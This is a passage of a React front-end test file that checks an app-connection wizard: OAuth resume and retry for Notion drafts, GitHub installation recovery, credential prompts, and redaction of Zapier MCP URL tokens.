}],
|
||
});
|
||
listConnectionsMock.mockResolvedValueOnce({
|
||
connections: [{
|
||
id: "conn-existing",
|
||
applicationId: "app-notion",
|
||
authKind: "oauth",
|
||
credentialPolicy: "per_user",
|
||
status: "draft",
|
||
config: { sourceTemplateKey: "notion" },
|
||
transportConfig: {},
|
||
}],
|
||
});
|
||
startOAuthMock.mockResolvedValueOnce({
|
||
connectionId: "conn-existing",
|
||
provider: "notion",
|
||
authorizationUrl: "https://mcp.notion.com/authorize?state=existing",
|
||
expiresAt: "2099-01-01T00:00:00.000Z",
|
||
});
|
||
|
||
await render();
|
||
expect(container.textContent).not.toContain("Reconnect keeps this identity type");
|
||
expect(container.textContent).toContain("agent access stays as it is");
|
||
expect(startOAuthMock).not.toHaveBeenCalled();
|
||
await passAccessStep();
|
||
await submitCuratedOAuthSetup();
|
||
|
||
expect(connectAppMock).not.toHaveBeenCalled();
|
||
expect(startOAuthMock).toHaveBeenCalledWith("conn-existing", {
|
||
asCurrentUser: true,
|
||
interactionId,
|
||
});
|
||
expect(navigateTopLevelMock).toHaveBeenCalledWith(
|
||
"https://mcp.notion.com/authorize?state=existing",
|
||
);
|
||
});
|
||
|
||
it("resumes the exact draft selected by Finish setup", async () => {
|
||
mockSearch.value = "source=notion&resume=22222222-2222-4222-8222-222222222222";
|
||
listGalleryMock.mockResolvedValueOnce({ apps: [NOTION] });
|
||
listApplicationsMock.mockResolvedValueOnce({
|
||
applications: [{
|
||
id: "app-notion",
|
||
status: "active",
|
||
metadata: { sourceTemplateKey: "notion" },
|
||
}],
|
||
});
|
||
listConnectionsMock.mockResolvedValueOnce({
|
||
connections: [
|
||
{
|
||
id: "11111111-1111-4111-8111-111111111111",
|
||
applicationId: "app-notion",
|
||
authKind: "oauth",
|
||
credentialPolicy: "shared",
|
||
status: "draft",
|
||
config: { sourceTemplateKey: "notion" },
|
||
transportConfig: {},
|
||
},
|
||
{
|
||
id: "22222222-2222-4222-8222-222222222222",
|
||
applicationId: "app-notion",
|
||
authKind: "oauth",
|
||
credentialPolicy: "per_user",
|
||
status: "draft",
|
||
config: { sourceTemplateKey: "notion" },
|
||
transportConfig: {},
|
||
},
|
||
],
|
||
});
|
||
|
||
await render();
|
||
await vi.waitFor(() => {
|
||
expect(container.textContent).toContain("Finish connecting Notion");
|
||
});
|
||
expect(getConnectionMock).not.toHaveBeenCalled();
|
||
expect(container.textContent).toContain("identity and agent access will stay the same");
|
||
expect(container.textContent).not.toContain("Choose access before sign-in");
|
||
expect(buttonByText("Continue to sign in")).toBeUndefined();
|
||
await act(async () => {
|
||
buttonByText("Finish with Notion")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
|
||
expect(connectAppMock).not.toHaveBeenCalled();
|
||
expect(startOAuthMock).toHaveBeenCalledWith(
|
||
"22222222-2222-4222-8222-222222222222",
|
||
{ asCurrentUser: true },
|
||
);
|
||
expect(navigateTopLevelMock).toHaveBeenCalledWith(
|
||
"https://mcp.notion.com/authorize?state=resumed",
|
||
);
|
||
});
|
||
|
||
it("shows installation recovery for GitHub even when an advanced PAT method is available", async () => {
|
||
const connectionId = "22222222-2222-4222-8222-222222222222";
|
||
mockSearch.value = `source=github&resume=${connectionId}&oauth=failed&code=github_installation_required&installation_url=https%3A%2F%2Fgithub.com%2Fapps%2Fpaperclip-for-github%2Finstallations%2Fnew`;
|
||
listGalleryMock.mockResolvedValue({ apps: [GITHUB_MANAGED] });
|
||
listApplicationsMock.mockResolvedValue({ applications: [{ id: "app-github", status: "draft", metadata: { sourceTemplateKey: "github" } }] });
|
||
listConnectionsMock.mockResolvedValue({ connections: [{
|
||
id: connectionId, applicationId: "app-github", authKind: "oauth", credentialPolicy: "per_user", status: "draft",
|
||
config: { sourceTemplateKey: "github", connectionMethodKey: "managed" }, transportConfig: {},
|
||
}] });
|
||
await render();
|
||
await flushReact();
|
||
expect(container.textContent).toContain("Install Paperclip and grant at least one repository");
|
||
expect(container.querySelector('a[href="https://github.com/apps/paperclip-for-github/installations/new"]')?.textContent).toBe("Install Paperclip on GitHub");
|
||
expect(container.textContent).not.toContain("Your GitHub key");
|
||
await act(async () => buttonByText("Try again")!.click());
|
||
await flushReact();
|
||
expect(startOAuthMock).toHaveBeenCalledWith(connectionId, { asCurrentUser: true });
|
||
expect(connectAppMock).not.toHaveBeenCalled();
|
||
});
|
||
|
||
it("returns a declined OAuth draft to the same one-action resume checkpoint", async () => {
|
||
mockSearch.value = "source=notion&resume=22222222-2222-4222-8222-222222222222&oauth=denied&code=oauth_authorization_denied";
|
||
listGalleryMock.mockResolvedValueOnce({ apps: [NOTION] });
|
||
listApplicationsMock.mockResolvedValueOnce({
|
||
applications: [{
|
||
id: "app-notion",
|
||
status: "draft",
|
||
metadata: { sourceTemplateKey: "notion" },
|
||
}],
|
||
});
|
||
listConnectionsMock.mockResolvedValueOnce({
|
||
connections: [{
|
||
id: "22222222-2222-4222-8222-222222222222",
|
||
applicationId: "app-notion",
|
||
authKind: "oauth",
|
||
credentialPolicy: "shared",
|
||
status: "draft",
|
||
config: { sourceTemplateKey: "notion", connectionMethodKey: "mcp-oauth" },
|
||
transportConfig: {},
|
||
}],
|
||
});
|
||
|
||
await render();
|
||
await flushReact();
|
||
expect(container.textContent).toContain("Notion couldn’t connect");
|
||
expect(container.textContent).toContain("Your saved connection was not changed");
|
||
expect(buttonByText("Try again")).toBeTruthy();
|
||
|
||
await act(async () => {
|
||
buttonByText("Try again")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
expect(startOAuthMock).toHaveBeenCalledWith(
|
||
"22222222-2222-4222-8222-222222222222",
|
||
{ asCurrentUser: false },
|
||
);
|
||
});
|
||
|
||
it.each([
|
||
["personal", "per_user", true],
|
||
["organization", "shared", false],
|
||
] as const)("preserves an active %s identity when reconnecting Notion", async (
|
||
_label,
|
||
credentialPolicy,
|
||
asCurrentUser,
|
||
) => {
|
||
mockSearch.value = "source=notion";
|
||
listGalleryMock.mockResolvedValueOnce({ apps: [NOTION] });
|
||
listApplicationsMock.mockResolvedValueOnce({
|
||
applications: [{
|
||
id: "app-notion",
|
||
status: "active",
|
||
metadata: { sourceTemplateKey: "notion" },
|
||
}],
|
||
});
|
||
listConnectionsMock.mockResolvedValueOnce({
|
||
connections: [{
|
||
id: "conn-existing",
|
||
applicationId: "app-notion",
|
||
authKind: "oauth",
|
||
credentialPolicy,
|
||
status: "active",
|
||
config: { sourceTemplateKey: "notion" },
|
||
transportConfig: {},
|
||
}],
|
||
});
|
||
startOAuthMock.mockResolvedValueOnce({
|
||
connectionId: "conn-existing",
|
||
provider: "notion",
|
||
authorizationUrl: "https://mcp.notion.com/authorize?state=existing",
|
||
expiresAt: "2099-01-01T00:00:00.000Z",
|
||
});
|
||
|
||
await render();
|
||
expect(container.textContent).toContain(
|
||
credentialPolicy === "per_user" ? "Connects as you" : "Connects for everyone in your organization",
|
||
);
|
||
expect(container.textContent).toContain("agent access stays as it is");
|
||
await passAccessStep();
|
||
await submitCuratedOAuthSetup();
|
||
|
||
expect(startOAuthMock).toHaveBeenCalledWith("conn-existing", {
|
||
asCurrentUser,
|
||
});
|
||
});
|
||
|
||
it("revives an archived Notion connection without reopening its organization identity choice", async () => {
|
||
mockSearch.value = "source=notion&applicationId=app-notion&new=1&reconnect=conn-archived&identity=organization";
|
||
listGalleryMock.mockResolvedValueOnce({ apps: [NOTION] });
|
||
listApplicationsMock.mockResolvedValueOnce({
|
||
applications: [{
|
||
id: "app-notion",
|
||
status: "archived",
|
||
metadata: { sourceTemplateKey: "notion" },
|
||
}],
|
||
});
|
||
listConnectionsMock.mockResolvedValueOnce({
|
||
connections: [{
|
||
id: "conn-archived",
|
||
applicationId: "app-notion",
|
||
authKind: "oauth",
|
||
credentialPolicy: "shared",
|
||
status: "archived",
|
||
config: { sourceTemplateKey: "notion" },
|
||
transportConfig: {},
|
||
}],
|
||
});
|
||
connectAppMock.mockResolvedValueOnce({
|
||
connectionId: "conn-archived",
|
||
application: { id: "app-notion", name: "Notion" },
|
||
connection: {
|
||
id: "conn-archived",
|
||
credentialPolicy: "shared",
|
||
status: "draft",
|
||
},
|
||
actions: { readOnly: [], canMakeChanges: [] },
|
||
catalog: [],
|
||
suggestedDefaults: {},
|
||
auth: { kind: "oauth", startUrl: null },
|
||
});
|
||
startOAuthMock.mockResolvedValueOnce({
|
||
connectionId: "conn-archived",
|
||
provider: "notion",
|
||
authorizationUrl: "https://mcp.notion.com/authorize?state=revived",
|
||
expiresAt: "2099-01-01T00:00:00.000Z",
|
||
});
|
||
|
||
await render();
|
||
expect(container.textContent).toContain("Connects for everyone in your organization");
|
||
await passAccessStep();
|
||
await submitCuratedOAuthSetup();
|
||
|
||
expect(connectAppMock).toHaveBeenCalledWith("company-1", expect.objectContaining({
|
||
galleryKey: "notion",
|
||
applicationId: "app-notion",
|
||
}));
|
||
expect(connectAppMock.mock.calls[0]?.[1]).not.toHaveProperty("grantKind");
|
||
expect(startOAuthMock).toHaveBeenCalledWith("conn-archived", {
|
||
asCurrentUser: false,
|
||
});
|
||
});
|
||
|
||
it("offers recovery when provider details fail during an exact retained reconnect", async () => {
|
||
mockSearch.value = "source=notion&applicationId=app-notion&new=1&reconnect=conn-archived&identity=organization";
|
||
listGalleryMock.mockRejectedValueOnce(new Error("Gallery unavailable"));
|
||
listApplicationsMock.mockResolvedValueOnce({
|
||
applications: [{
|
||
id: "app-notion",
|
||
status: "archived",
|
||
metadata: { sourceTemplateKey: "notion" },
|
||
}],
|
||
});
|
||
listConnectionsMock.mockResolvedValueOnce({
|
||
connections: [{
|
||
id: "conn-archived",
|
||
applicationId: "app-notion",
|
||
authKind: "oauth",
|
||
credentialPolicy: "shared",
|
||
status: "archived",
|
||
config: { sourceTemplateKey: "notion" },
|
||
transportConfig: {},
|
||
}],
|
||
});
|
||
|
||
await render();
|
||
|
||
expect(container.textContent).toContain("Couldn’t load connection setup");
|
||
expect(container.textContent).toContain("The retained connection was not changed");
|
||
expect(container.querySelector('[aria-label="Loading retained connection setup"]')).toBeNull();
|
||
|
||
await act(async () => {
|
||
buttonByText("Try again")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
|
||
expect(listGalleryMock).toHaveBeenCalledTimes(2);
|
||
expect(container.textContent).not.toContain("Couldn’t load connection setup");
|
||
});
|
||
|
||
it.each(["connection", "application"] as const)(
|
||
"keeps an exact retained reconnect retryable when the %s lookup fails",
|
||
async (failedLookup) => {
|
||
mockSearch.value = "source=notion&applicationId=app-notion&new=1&reconnect=conn-archived&identity=organization";
|
||
listGalleryMock.mockResolvedValueOnce({ apps: [NOTION] });
|
||
const applications = {
|
||
applications: [{
|
||
id: "app-notion",
|
||
status: "archived",
|
||
metadata: { sourceTemplateKey: "notion" },
|
||
}],
|
||
};
|
||
const connections = {
|
||
connections: [{
|
||
id: "conn-archived",
|
||
applicationId: "app-notion",
|
||
authKind: "oauth",
|
||
credentialPolicy: "shared",
|
||
status: "archived",
|
||
config: { sourceTemplateKey: "notion" },
|
||
transportConfig: {},
|
||
}],
|
||
};
|
||
if (failedLookup === "connection") {
|
||
listConnectionsMock
|
||
.mockRejectedValueOnce(new Error("Connection lookup unavailable"))
|
||
.mockResolvedValueOnce(connections);
|
||
listApplicationsMock.mockResolvedValue(applications);
|
||
} else {
|
||
listApplicationsMock
|
||
.mockRejectedValueOnce(new Error("Application lookup unavailable"))
|
||
.mockResolvedValueOnce(applications);
|
||
listConnectionsMock.mockResolvedValue(connections);
|
||
}
|
||
|
||
await render();
|
||
|
||
expect(container.textContent).toContain("Couldn’t load connection setup");
|
||
expect(container.textContent).toContain("The retained connection was not changed");
|
||
expect(container.textContent).not.toContain("This connection can’t be reconnected");
|
||
|
||
await act(async () => {
|
||
buttonByText("Try again")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
await flushReact();
|
||
|
||
expect(listConnectionsMock).toHaveBeenCalledTimes(2);
|
||
expect(listApplicationsMock).toHaveBeenCalledTimes(2);
|
||
expect(container.textContent).not.toContain("Couldn’t load connection setup");
|
||
expect(container.textContent).toContain("Connect Notion to Paperclip");
|
||
},
|
||
);
|
||
|
||
it("creates a fresh Notion OAuth connection when the provider landing requests another", async () => {
|
||
mockSearch.value = "source=notion&applicationId=app-notion&new=1";
|
||
listGalleryMock.mockResolvedValueOnce({ apps: [NOTION] });
|
||
listApplicationsMock.mockResolvedValueOnce({
|
||
applications: [{
|
||
id: "app-notion",
|
||
status: "active",
|
||
metadata: { sourceTemplateKey: "notion" },
|
||
}],
|
||
});
|
||
listConnectionsMock.mockResolvedValueOnce({
|
||
connections: [{
|
||
id: "conn-existing",
|
||
applicationId: "app-notion",
|
||
authKind: "oauth",
|
||
status: "active",
|
||
config: { sourceTemplateKey: "notion" },
|
||
transportConfig: {},
|
||
}, {
|
||
id: "conn-other-draft",
|
||
applicationId: "app-other",
|
||
authKind: "oauth",
|
||
status: "draft",
|
||
config: { sourceTemplateKey: "notion" },
|
||
transportConfig: {},
|
||
}],
|
||
});
|
||
connectAppMock.mockResolvedValueOnce({
|
||
connectionId: "conn-new",
|
||
application: { id: "app-notion", name: "Notion" },
|
||
connection: { id: "conn-new" },
|
||
actions: { readOnly: [], canMakeChanges: [] },
|
||
catalog: [],
|
||
suggestedDefaults: {},
|
||
auth: { kind: "oauth", startUrl: "https://mcp.notion.com/authorize?state=new" },
|
||
});
|
||
|
||
await render();
|
||
expect(connectAppMock).not.toHaveBeenCalled();
|
||
await passAccessStep();
|
||
await submitCuratedOAuthSetup();
|
||
|
||
expect(startOAuthMock).not.toHaveBeenCalled();
|
||
expect(connectAppMock).toHaveBeenCalledWith("company-1", {
|
||
galleryKey: "notion",
|
||
connectionMethodKey: "mcp-oauth",
|
||
name: "Notion for the organization",
|
||
credentialSource: "paperclip_vault",
|
||
credentialValues: {},
|
||
configValues: undefined,
|
||
applicationId: "app-notion",
|
||
});
|
||
expect(navigateTopLevelMock).toHaveBeenCalledWith(
|
||
"https://mcp.notion.com/authorize?state=new",
|
||
);
|
||
});
|
||
|
||
it("waits for fresh connection data before creating a Notion OAuth draft", async () => {
|
||
mockSearch.value = "source=notion";
|
||
listGalleryMock.mockResolvedValueOnce({ apps: [NOTION] });
|
||
const queryClient = new QueryClient({ defaultOptions: { queries: { retry: false } } });
|
||
queryClient.setQueryData(queryKeys.tools.applications("company-1"), { applications: [] });
|
||
queryClient.setQueryData(queryKeys.tools.connections("company-1"), { connections: [] });
|
||
|
||
let resolveApplications!: (value: unknown) => void;
|
||
let resolveConnections!: (value: unknown) => void;
|
||
listApplicationsMock.mockReturnValueOnce(new Promise((resolve) => {
|
||
resolveApplications = resolve;
|
||
}));
|
||
listConnectionsMock.mockReturnValueOnce(new Promise((resolve) => {
|
||
resolveConnections = resolve;
|
||
}));
|
||
|
||
await render(queryClient);
|
||
|
||
expect(connectAppMock).not.toHaveBeenCalled();
|
||
expect(startOAuthMock).not.toHaveBeenCalled();
|
||
|
||
resolveApplications({
|
||
applications: [{
|
||
id: "app-notion",
|
||
status: "draft",
|
||
metadata: { sourceTemplateKey: "notion" },
|
||
}],
|
||
});
|
||
resolveConnections({
|
||
connections: [{
|
||
id: "conn-refreshed",
|
||
applicationId: "app-notion",
|
||
authKind: "oauth",
|
||
credentialPolicy: "per_user",
|
||
status: "draft",
|
||
config: { sourceTemplateKey: "notion" },
|
||
transportConfig: {},
|
||
}],
|
||
});
|
||
await flushReact();
|
||
await flushReact();
|
||
|
||
expect(connectAppMock).not.toHaveBeenCalled();
|
||
expect(startOAuthMock).not.toHaveBeenCalled();
|
||
expect(container.textContent).not.toContain("Reconnect keeps this identity type");
|
||
expect(container.textContent).toContain("agent access stays as it is");
|
||
await passAccessStep();
|
||
await submitCuratedOAuthSetup();
|
||
expect(startOAuthMock).toHaveBeenCalledWith("conn-refreshed", {
|
||
asCurrentUser: true,
|
||
});
|
||
});
|
||
|
||
it("resumes Notion OAuth after a failed connection lookup is retried", async () => {
|
||
mockSearch.value = "source=notion";
|
||
listGalleryMock.mockResolvedValueOnce({ apps: [NOTION] });
|
||
listApplicationsMock
|
||
.mockRejectedValueOnce(new Error("Lookup unavailable"))
|
||
.mockResolvedValueOnce({
|
||
applications: [{
|
||
id: "app-notion",
|
||
status: "draft",
|
||
metadata: { sourceTemplateKey: "notion" },
|
||
}],
|
||
});
|
||
listConnectionsMock
|
||
.mockResolvedValueOnce({ connections: [] })
|
||
.mockResolvedValueOnce({
|
||
connections: [{
|
||
id: "conn-after-retry",
|
||
applicationId: "app-notion",
|
||
authKind: "oauth",
|
||
credentialPolicy: "per_user",
|
||
status: "draft",
|
||
config: { sourceTemplateKey: "notion" },
|
||
transportConfig: {},
|
||
}],
|
||
});
|
||
|
||
await render();
|
||
|
||
expect(container.textContent).toContain("couldn’t check for an existing connection");
|
||
await act(async () => {
|
||
buttonByText("Try again")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
await flushReact();
|
||
|
||
// PAP-659: Try again re-reads and then resumes the draft it finds. There
|
||
// is no Access step to bounce back through, and the operator already
|
||
// pressed the one primary action, so recovery must not ask again.
|
||
expect(connectAppMock).not.toHaveBeenCalled();
|
||
expect(container.textContent).not.toContain("Reconnect keeps this identity type");
|
||
expect(startOAuthMock).toHaveBeenCalledWith("conn-after-retry", {
|
||
asCurrentUser: true,
|
||
});
|
||
expect(navigateTopLevelMock).toHaveBeenCalledWith(
|
||
"https://mcp.notion.com/authorize?state=resumed",
|
||
);
|
||
});
|
||
|
||
it("restores the Notion lookup error when retrying still fails", async () => {
|
||
mockSearch.value = "source=notion";
|
||
listGalleryMock.mockResolvedValueOnce({ apps: [NOTION] });
|
||
listApplicationsMock.mockRejectedValue(new Error("Lookup unavailable"));
|
||
|
||
await render();
|
||
await passAccessStep();
|
||
|
||
await act(async () => {
|
||
buttonByText("Try again")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
await flushReact();
|
||
|
||
expect(container.textContent).toContain("couldn’t check for an existing connection");
|
||
expect(buttonByText("Try again")).toBeTruthy();
|
||
expect(connectAppMock).not.toHaveBeenCalled();
|
||
expect(startOAuthMock).not.toHaveBeenCalled();
|
||
});
|
||
|
||
it("retries OAuth on the prepared connection without creating another draft", async () => {
|
||
mockSearch.value = "source=notion";
|
||
listGalleryMock.mockResolvedValueOnce({ apps: [NOTION] });
|
||
connectAppMock.mockResolvedValueOnce({
|
||
connectionId: "conn-prepared",
|
||
application: { id: "app-notion", name: "Notion" },
|
||
connection: { id: "conn-prepared", credentialPolicy: "per_user", status: "draft" },
|
||
actions: { readOnly: [], canMakeChanges: [] },
|
||
catalog: [],
|
||
suggestedDefaults: {},
|
||
auth: { kind: "oauth", startUrl: null },
|
||
});
|
||
startOAuthMock
|
||
.mockRejectedValueOnce(new Error("Provider unavailable"))
|
||
.mockResolvedValueOnce({
|
||
connectionId: "conn-prepared",
|
||
provider: "notion",
|
||
authorizationUrl: "https://mcp.notion.com/authorize?state=retry",
|
||
expiresAt: "2099-01-01T00:00:00.000Z",
|
||
});
|
||
|
||
await render();
|
||
await passAccessStep();
|
||
await submitCuratedOAuthSetup();
|
||
|
||
expect(container.textContent).toContain("Provider unavailable");
|
||
await act(async () => {
|
||
buttonByText("Try again")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
|
||
expect(connectAppMock).toHaveBeenCalledTimes(1);
|
||
expect(startOAuthMock).toHaveBeenCalledTimes(2);
|
||
expect(startOAuthMock).toHaveBeenLastCalledWith("conn-prepared", {
|
||
asCurrentUser: true,
|
||
});
|
||
expect(navigateTopLevelMock).toHaveBeenCalledWith(
|
||
"https://mcp.notion.com/authorize?state=retry",
|
||
);
|
||
});
|
||
|
||
it("recovers a response-lost Notion draft before retrying creation", async () => {
|
||
mockSearch.value = "source=notion";
|
||
listGalleryMock.mockResolvedValueOnce({ apps: [NOTION] });
|
||
listApplicationsMock
|
||
.mockResolvedValueOnce({ applications: [] })
|
||
.mockResolvedValueOnce({
|
||
applications: [{
|
||
id: "app-response-lost",
|
||
status: "draft",
|
||
metadata: { sourceTemplateKey: "notion" },
|
||
}],
|
||
});
|
||
listConnectionsMock
|
||
.mockResolvedValueOnce({ connections: [] })
|
||
.mockResolvedValueOnce({
|
||
connections: [{
|
||
id: "conn-response-lost",
|
||
applicationId: "app-response-lost",
|
||
authKind: "oauth",
|
||
credentialPolicy: "per_user",
|
||
status: "draft",
|
||
config: { sourceTemplateKey: "notion" },
|
||
transportConfig: {},
|
||
}],
|
||
});
|
||
connectAppMock.mockRejectedValueOnce(new Error("Response lost"));
|
||
startOAuthMock.mockResolvedValueOnce({
|
||
connectionId: "conn-response-lost",
|
||
provider: "notion",
|
||
authorizationUrl: "https://mcp.notion.com/authorize?state=recovered",
|
||
expiresAt: "2099-01-01T00:00:00.000Z",
|
||
});
|
||
|
||
await render();
|
||
await passAccessStep();
|
||
await submitCuratedOAuthSetup();
|
||
|
||
expect(container.textContent).toContain("Response lost");
|
||
await act(async () => {
|
||
buttonByText("Try again")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
await flushReact();
|
||
|
||
expect(connectAppMock).toHaveBeenCalledTimes(1);
|
||
expect(startOAuthMock).toHaveBeenCalledWith("conn-response-lost", {
|
||
asCurrentUser: true,
|
||
});
|
||
expect(navigateTopLevelMock).toHaveBeenCalledWith(
|
||
"https://mcp.notion.com/authorize?state=recovered",
|
||
);
|
||
});
|
||
|
||
it("opens customer-owned OAuth apps instead of blocking them by slug", async () => {
|
||
const slack = CONNECTABLE_APP_DEFINITIONS.find((app) => app.slug === "slack")!;
|
||
mockParams.appKey = "slack";
|
||
listGalleryMock.mockResolvedValueOnce({ apps: [slack] });
|
||
|
||
await render();
|
||
|
||
expect(connectAppMock).not.toHaveBeenCalled();
|
||
await openAccessAdvanced();
|
||
expect(container.textContent).toContain("Which humans can use this credential?");
|
||
expect(mockNavigate).not.toHaveBeenCalledWith("/apps/connect", { replace: true });
|
||
});
|
||
|
||
it("routes the enabled Notion gallery tile through the generic source deep link", async () => {
|
||
listGalleryMock.mockResolvedValueOnce({ apps: [NOTION] });
|
||
await render();
|
||
|
||
const notionTile = buttonContaining("Notion");
|
||
expect(notionTile?.disabled).toBe(false);
|
||
expect(notionTile?.textContent).toContain("Connect");
|
||
|
||
await act(async () => {
|
||
notionTile?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
expect(mockNavigate).toHaveBeenCalledWith("/apps/connect?source=notion");
|
||
});
|
||
|
||
it("choosing No and clicking Check link connects with no credentials", async () => {
|
||
await render();
|
||
await gotoLinkFrame(container, "https://www.example.com/actions");
|
||
|
||
await act(async () => {
|
||
buttonByText("Check link")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
await flushReact();
|
||
|
||
expect(connectAppMock).toHaveBeenCalledTimes(1);
|
||
const [, input] = connectAppMock.mock.calls[0];
|
||
expect(input).toMatchObject({
|
||
link: "https://www.example.com/actions",
|
||
name: "example.com/actions for the organization",
|
||
});
|
||
expect(input.credentialValues).toBeUndefined();
|
||
});
|
||
|
||
it("reveals one masked key field only after the probe says a credential is needed", async () => {
|
||
// PAP-659 bucket H. The first press asks the server; the server is what
|
||
// knows. Only its credential challenge puts a key field on screen, and the
|
||
// second press carries the key.
|
||
connectAppMock.mockRejectedValueOnce(
|
||
new ApiError("This app needs you to sign in.", 502, {
|
||
error: "This app needs you to sign in.",
|
||
details: { code: "oauth_challenge" },
|
||
}),
|
||
);
|
||
await render();
|
||
await gotoLinkFrame(container, "https://www.example.com/actions");
|
||
|
||
expect(
|
||
Array.from(container.querySelectorAll<HTMLInputElement>("input")).some(
|
||
(i) => i.type === "password",
|
||
),
|
||
).toBe(false);
|
||
|
||
await act(async () => {
|
||
buttonByText("Check link")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
await flushReact();
|
||
|
||
expect(container.textContent).toContain("This server wants a credential");
|
||
const passwordInputs = Array.from(
|
||
container.querySelectorAll<HTMLInputElement>("input"),
|
||
).filter((i) => i.type === "password");
|
||
expect(passwordInputs).toHaveLength(1);
|
||
expect(container.textContent).not.toContain("Stored securely.");
|
||
|
||
await act(async () => setInputValue(passwordInputs[0], "secret-key"));
|
||
await flushReact();
|
||
|
||
await act(async () => {
|
||
buttonByText("Check link")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
|
||
expect(connectAppMock).toHaveBeenCalledTimes(2);
|
||
const [, input] = connectAppMock.mock.calls[1];
|
||
expect(input.credentialValues).toEqual({ "credentials.authorization": "secret-key" });
|
||
});
|
||
|
||
it("a Zapier MCP URL stays in the URL flow and includes its token in the submitted link", async () => {
|
||
await render();
|
||
|
||
const linkInput = Array.from(
|
||
container.querySelectorAll<HTMLInputElement>("input"),
|
||
).find((i) => i.getAttribute("placeholder")?.startsWith("https://"));
|
||
const zapierUrl = "https://mcp.zapier.com/api/v1/connect?token=secret-token";
|
||
await act(async () => setInputValue(linkInput!, zapierUrl));
|
||
await flushReact();
|
||
|
||
expect(container.textContent).toContain("This looks like Zapier.");
|
||
expect(linkInput?.type).toBe("password");
|
||
expect(linkInput?.autocomplete).toBe("off");
|
||
|
||
await act(async () => {
|
||
buttonByText("Continue")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
await openAccessAdvanced();
|
||
|
||
expect(container.textContent).toContain("Which humans can use this credential?");
|
||
expect(container.textContent).toContain("Which agents can use this connection?");
|
||
await passAccessStep();
|
||
|
||
expect(container.textContent).toContain("Connect your own MCP server");
|
||
expect(container.textContent).not.toContain(zapierUrl);
|
||
expect(container.textContent).toContain("token=REDACTED");
|
||
expect(container.querySelector('input[placeholder="My app"]')).toBeNull();
|
||
expect(container.querySelector('input[type="password"]')).toBeNull();
|
||
|
||
await act(async () => {
|
||
buttonByText("Check link")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
|
||
expect(connectAppMock).toHaveBeenCalledTimes(1);
|
||
expect(connectAppMock.mock.calls[0]?.[1]).toMatchObject({
|
||
link: zapierUrl,
|
||
name: "Zapier for the organization",
|
||
galleryKey: "zapier",
|
||
connectionMethodKey: "generated-url",
|
||
});
|
||
expect(connectAppMock.mock.calls[0]?.[1].credentialValues).toBeUndefined();
|
||
});
|
||
|
||
it("gives Zapier the shared credential and agent access opener", async () => {
|
||
mockSearch.value = "source=zapier";
|
||
listGalleryMock.mockResolvedValueOnce({
|
||
apps: [
|
||
{ ...ZAPIER, branding: { ...ZAPIER.branding, logoUrl: "https://example.com/zapier.png" } },
|
||
],
|
||
});
|
||
connectAppMock.mockResolvedValueOnce({
|
||
connectionId: "conn-1",
|
||
application: { id: "app-1", name: "Zapier" },
|
||
actions: {
|
||
readOnly: [
|
||
{
|
||
catalogEntryId: "action-1",
|
||
toolName: "find_record",
|
||
title: "Find record",
|
||
description: "Find a record.",
|
||
riskLevel: "read",
|
||
},
|
||
],
|
||
canMakeChanges: [
|
||
{
|
||
catalogEntryId: "action-2",
|
||
toolName: "create_record",
|
||
title: "Create record",
|
||
description: "Create a record.",
|
||
riskLevel: "write",
|
||
},
|
||
],
|
||
},
|
||
catalog: [{ id: "action-1", status: "active" }, { id: "action-2", status: "active" }],
|
||
suggestedDefaults: { askFirstRiskLevels: [] },
|
||
});
|
||
await render();
|
||
|
||
// PAP-659 C0: no step counter and no Access step — the endpoint field is
|
||
// the first and only thing on the way in, with the default stated above it.
|
||
expect(container.textContent).not.toContain("Step 1 of 2");
|
||
expect(container.textContent).not.toContain("Step 2 of 2");
|
||
expect(container.textContent).toContain("Connect Zapier");
|
||
expect(container.textContent).toContain("Connects for everyone in your organization, available to all agents.");
|
||
expect(container.querySelector('[data-remote-mcp-provider="zapier"]')).toBeTruthy();
|
||
expect(container.textContent).not.toContain("Pick the app you want your agents to use.");
|
||
expect(container.textContent).toContain("MCP server URL");
|
||
|
||
// The two questions the deleted step asked are still answerable, together,
|
||
// one disclosure away.
|
||
expect(container.textContent).not.toContain("Which humans can use this credential?");
|
||
await act(async () => buttonByText("Change")!.click());
|
||
expect(container.textContent).toContain("Which humans can use this credential?");
|
||
expect(container.textContent).toContain("Which agents can use this connection?");
|
||
await act(async () => {
|
||
radioContaining("Just me")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
expect(container.textContent).toContain("Connects as you, available to all agents.");
|
||
|
||
const linkInput = container.querySelector<HTMLInputElement>(
|
||
'input[placeholder="Paste the full URL from Zapier"]',
|
||
);
|
||
expect(linkInput?.type).toBe("password");
|
||
expect(linkInput?.autocomplete).toBe("off");
|
||
const zapierUrl = "https://mcp.zapier.com/api/v1/connect?token=secret-token";
|
||
await act(async () => setInputValue(linkInput!, zapierUrl));
|
||
await flushReact();
|
||
|
||
await act(async () => {
|
||
buttonByText("Connect Zapier")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
|
||
expect(connectAppMock).toHaveBeenCalledTimes(1);
|
||
expect(connectAppMock.mock.calls[0]?.[1]).toMatchObject({
|
||
link: zapierUrl,
|
||
name: "Zapier",
|
||
galleryKey: "zapier",
|
||
connectionMethodKey: "generated-url",
|
||
grantKind: "user",
|
||
});
|
||
|
||
